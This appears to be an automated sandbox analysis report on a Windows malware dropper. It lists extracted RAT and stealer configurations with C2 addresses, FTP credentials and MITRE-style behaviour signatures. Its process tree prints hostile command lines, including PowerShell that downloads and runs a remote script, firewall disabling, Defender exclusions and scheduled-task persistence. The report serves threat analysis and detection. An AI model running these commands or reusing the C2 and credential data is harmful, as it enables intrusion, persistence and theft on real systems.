Resubmissions
18/08/2026, 19:34
260818-x972xsygjb1002/07/2026, 09:19
260702-labnwsfs6z29/05/2026, 16:41
260529-t7a3mabx7l26/05/2026, 03:15
260526-dr1qcadz4y21/05/2026, 18:13
260521-wt38csgz711021/05/2026, 18:04
260521-wnpssagx3s1021/05/2026, 17:59
260521-wkpzdady5j1021/05/2026, 17:58
260521-wj9bmady2k21/05/2026, 17:58
260521-wj5y7sgv4v21/05/2026, 17:57
260521-wj2lsagv3zAnalysis
- max time kernel
597s - max time network
603s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
06/04/2026, 23:44
General
- Target 2to1ep.exe
- Size 13.1MB
- Sample260406-3rdy1set6j
- SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
http://185.23.238.149/support.ps1
Extracted
Credentials
-
Protocol
ftp
-
Host
138.2.82.2
-
Port
21
-
Username
administrator
-
Password
BMWM5
Extracted
Credentials
-
Protocol
ftp
-
Host
123.157.101.14
-
Port
21
-
Username
ftp
-
Password
999999
Extracted
Family
-
njrat
Version
-
Njrat 0.7 Golden By Hassan Amiri
Botnet
-
default
C2
-
196.251.107.24:5552
Mutex
-
Windows Update
Attributes
-
reg_key
Windows Update
-
splitter
|Hassan|
Extracted
Family
-
asyncrat
Version
-
Venom RAT + HVNC + Stealer + Grabber v6.0.3
Botnet
-
Default
C2
-
196.251.107.24:4449
Mutex
-
khbnoparazawtv
Attributes
-
delay
1
-
install
true
-
install_file
Google.exe
-
install_folder
%AppData%
aes.plain
Extracted
Family
-
vidar
Version
-
1.1
Botnet
-
d2d37f81c010b16dfa5beeccc37d882f
C2
-
https://telegram.me/nwwfh8
-
https://steamcommunity.com/profiles/76561198719385745
Attributes
-
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Extracted
Family
-
cobaltstrike
Botnet
-
100000000
C2
-
http://51.77.77.161:443/sitemap.xml
Attributes
-
access_type
512
-
beacon_type
2048
-
host
51.77.77.161,/sitemap.xml
-
http_header1
AAAACgAAAFJBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsKi8qO3E9MC44AAAAEAAAABVIb3N0OiB3d3cueWFob28uY28uanAAAAAKAAAAIVJlZmVyZXI6IGh0dHBzOi8vd3d3LnlhaG9vLmNvLmpwLwAAAAoAAAAiQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlLCBicgAAAAoAAAB7VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExMi4wLjAuMCBTYWZhcmkvNTM3LjM2AAAACgAAADRBY2NlcHQtTGFuZ3VhZ2U6IGphLUpQLGphO3E9MC45LGVuLVVTO3E9MC44LGVuO3E9MC43AAAABwAAAAAAAAANAAAAAgAAAARZU0M9AAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-
http_header2
AAAACgAAAFJBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsKi8qO3E9MC44AAAAEAAAABVIb3N0OiB3d3cueWFob28uY28uanAAAAAKAAAAJ1JlZmVyZXI6IGh0dHBzOi8vd3d3LnlhaG9vLmNvLmpwL3NlYXJjaAAAAAoAAAAiQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlLCBicgAAAAoAAAB7VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExMi4wLjAuMCBTYWZhcmkvNTM3LjM2AAAACgAAADRBY2NlcHQtTGFuZ3VhZ2U6IGphLUpQLGphO3E9MC45LGVuLVVTO3E9MC44LGVuO3E9MC43AAAACgAAAC9Db250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZAAAAAcAAAAAAAAADwAAAA0AAAAFAAAABHlzaWQAAAAHAAAAAQAAAA8AAAANAAAABAAAAAAAAAAAAAA=
-
http_method1
GET
-
http_method2
POST
-
jitter
9472
-
polling_time
45000
-
port_number
443
-
sc_process32
%windir%\syswow64\dllhost.exe
-
sc_process64
%windir%\sysnative\dllhost.exe
-
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnrqnRgLeqPpa2wJGQmftPgeWvFyCCFjULPdTAZQEcqNKgdO0HMT0bB67vQA1xgd1gikHOjzLkBeM3aPIwnDvMP5lH8Zxk+5t6qt4OYGlVoU9vBDwTcXRIMVXHuvvABcaH71IjHfEp3Veqqhs0pcTLabHGtzcBqmzfhmfpqFDgWQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
unknown1
3.24408576e+08
-
unknown2
AAAABAAAAAEAAABVAAAAAgAAAGMAAAANAAAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
uri
/robots.txt
-
user_agent
Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
-
watermark
100000000
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
Google Chrome
C2
-
196.251.107.24:4782
Mutex
-
15fffa08-e63c-41fb-ac4a-5b24c2a4872f
Attributes
-
encryption_key
363C5465989001701BFD2DE6993628E0264DC7E7
-
install_name
Chrome.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Google Chrome
-
subdirectory
Google
Extracted
Family
-
redline
Botnet
-
fff
C2
-
196.251.107.104:1912
Signatures
- Async RAT payload 1 IoCs
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Asyncrat family
- Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
- Cobaltstrike family
- Detect XenoRat Payload 1 IoCs
- Detects Stealc stealer Version 2 1 IoCs
- Detects Vidar Stealer 1 IoCs
- Gh0st RAT payload 1 IoCs
- Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
- Gh0strat family
- Njrat family
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 2 IoCs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
- Redline family
- Stealc
Stealc is an infostealer written in C++.
- Stealc family
- Vidar
Vidar is an infostealer based on Arkei stealer.
- Vidar family
- XenoRat
XenoRat is a remote access trojan written in C#.
- Xenorat family
- njRAT/Bladabindi
Widely used RAT written in .NET.
- Contacts a large (2100) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Command and Scripting Interpreter: PowerShell 1 TTPs 58 IoCs
Using powershell.exe command.
- Downloads MZ/PE file 12 IoCs
- Modifies Windows Firewall 2 TTPs 12 IoCs
- Uses browser remote debugging 2 TTPs 1 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
- Creates new service(s) 2 TTPs
- Drops startup file 2 IoCs
- Executes dropped EXE 12 IoCs
- Indirect Command Execution 1 TTPs 4 IoCs
Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.
- Loads dropped DLL 41 IoCs
- Modifies file permissions 1 TTPs 3 IoCs
- Stops running service(s) 4 TTPs
- Themida packer 3 IoCs
Detects Themida, an advanced Windows software protection system.
- Adds Run key to start application 2 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 64 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Hide Artifacts: Hidden Window 1 TTPs 1 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
- Looks up external IP address via web service 12 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Drops file in System32 directory 1 IoCs
- UPX packed file 22 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Launches sc.exe 16 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Event Triggered Execution: Installer Packages 2 TTPs 32 IoCs
- Program crash 5 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 6 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Inno Setup is an open-source installation builder for Windows applications. 2 IoCs
Inno Setup installer
- NSIS installer 4 IoCs
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 4 IoCs
- Gathers network information 2 TTPs 4 IoCs
Uses commandline utility to view network configuration.
- GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
- Kills process with taskkill 15 IoCs
- Modifies registry key 1 TTPs 2 IoCs
- Opens file in notepad (likely ransom note) 2 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 16 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious use of AdjustPrivilegeToken 13 IoCs
- Suspicious use of FindShellTrayWindow 18 IoCs
- Suspicious use of SendNotifyMessage 16 IoCs
- Suspicious use of WriteProcessMemory 26 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Downloads MZ/PE file
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe3⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe4⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i lykis.msi3⤵
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\a\he.exehe.exe3⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\n743.exen743.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn Server /tr C:\Users\Admin\AppData\Local\Temp/Server.exe4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c add_to_startup.bat3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$WS = New-Object -ComObject WScript.Shell; $SC = $WS.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CryptoLoader.lnk'); $SC.TargetPath = 'cmd.exe'; $SC.Arguments = '/c cd /d \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Crypto\RSA\Cache\" && start /b python.exe encrypted_loader.py -f as_encrypted.bin explorer.exe'; $SC.WindowStyle = 7; $SC.Description = 'Windows Crypto Loader'; $SC.Save()"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File index.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /delete /tn \GoogleSystem\GoogleUpdater\GoogleUpdaterTaskSystem47.0.7703.3{47263A17-2D66-43B9-9692-30514D0C1AEC} /f4⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn \GoogleSystem\GoogleUpdater\GoogleUpdaterTaskSystem47.0.7703.3{47263A17-2D66-43B9-9692-30514D0C1AEC} /xml C:\Users\Admin\AppData\Local\Temp\schevnt.xml /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command ".(gal ?rm) 79.8141710/task | .('ROGieROGx'.Replace('ROG', ''))"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\piibficc\piibficc.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES70C9.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE647B714719D4DF3ADC86D33C74293C9.TMP"6⤵
-
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe r.vbs3⤵
-
C:\msupd.exe"C:\msupd.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\VIolet.exeVIolet.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\Violet.exeViolet.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File support.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=RDP-Support protocol=TCP dir=in localport=3389 action=allow4⤵
- Modifies Windows Firewall
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\hey.exehey.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c final.bat3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\a\final.bat' -ArgumentList 'hidden' -WindowStyle Hidden"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\a\final.bat" hidden "5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest 'https://www.python.org/ftp/python/3.11.8/python-3.11.8-embed-amd64.zip' -OutFile 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Crypto\RSA\Cache\python_embed.zip' -UseBasicParsing"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exeCFXBypass.exe3⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('Checking for updates...', 'Updater', 'OK', 'Information')"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\x834.exex834.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Dejection179.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\v38438.exev38438.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c run.bat3⤵
-
C:\Windows\system32\net.exenet session4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile('http://185.23.238.149/support.ps1','C:\Users\Admin\AppData\Local\Temp\s.ps1')"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\s.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off5⤵
- Modifies Windows Firewall
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\v4343.exev4343.exe3⤵
- Executes dropped EXE
-
C:\Windows\system32\svchost.exe"C:\Windows\system32\svchost.exe"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7ffcca37c728,0x7ffcca37c734,0x7ffcca37c7406⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7ffcd081c728,0x7ffcd081c734,0x7ffcd081c7406⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7ffcd081c728,0x7ffcd081c734,0x7ffcd081c7406⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf4,0xf8,0xfc,0xd4,0x100,0x7ffcbd3fc728,0x7ffcbd3fc734,0x7ffcbd3fc7406⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7ffcca82c728,0x7ffcca82c734,0x7ffcca82c7406⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xf4,0x104,0x7ffcc59bc728,0x7ffcc59bc734,0x7ffcc59bc7406⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\s287.exes287.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\aqpnJFzZfTWv9X7C\Algx554Zbe2N.exeC:\Users\Admin\AppData\Local\Temp\aqpnJFzZfTWv9X7C\Algx554Zbe2N.exe 9924⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exepardufrigi_installer_1.0.p1.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-W362PKBV5G.tmp\pardufrigi_installer_1.0.p1.tmp"C:\Users\Admin\AppData\Local\Temp\is-W362PKBV5G.tmp\pardufrigi_installer_1.0.p1.tmp" /SL5="$20242,4543643,893952,C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\webplugin.exewebplugin.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\TASKKILL.exeTASKKILL /F /IM WebActiveEXE.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\TASKKILL.exeTASKKILL /F /IM TimeGridEXE.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files (x86)\webrec\WEB30\WebPlugin\WebActiveEXE.exe"C:\Program Files (x86)\webrec\WEB30\WebPlugin\WebActiveEXE.exe" /regserver4⤵
-
-
C:\Program Files (x86)\webrec\WEB30\WebPlugin\TimeGridEXE.exe"C:\Program Files (x86)\webrec\WEB30\WebPlugin\TimeGridEXE.exe" /regserver4⤵
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "atl.dll"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\k2.exek2.exe3⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\xhue.vbe"4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig /release5⤵
-
C:\Windows\SysWOW64\ipconfig.exeipconfig /release6⤵
- Gathers network information
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c fxeiwl.msc juvqqcrdro.txt5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\fxeiwl.mscfxeiwl.msc juvqqcrdro.txt6⤵
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"7⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ijiuix0s.mym"8⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\ijiuix0s.mym /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\ijiuix0s.mym\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\ijiuix0s.mym --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcd081c728,0x7ffcd081c734,0x7ffcd081c7409⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\um0tf15d.43h"8⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig /renew5⤵
-
C:\Windows\SysWOW64\ipconfig.exeipconfig /renew6⤵
- Gathers network information
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\proxy-peer-windows-amd64.exeproxy-peer-windows-amd64.exe3⤵
-
C:\Windows\system32\sc.exesc query hola_update_svc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\Hola\app' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Program Files\Hola\app\updater64.exe"C:\Program Files\Hola\app\updater64.exe"4⤵
-
-
-
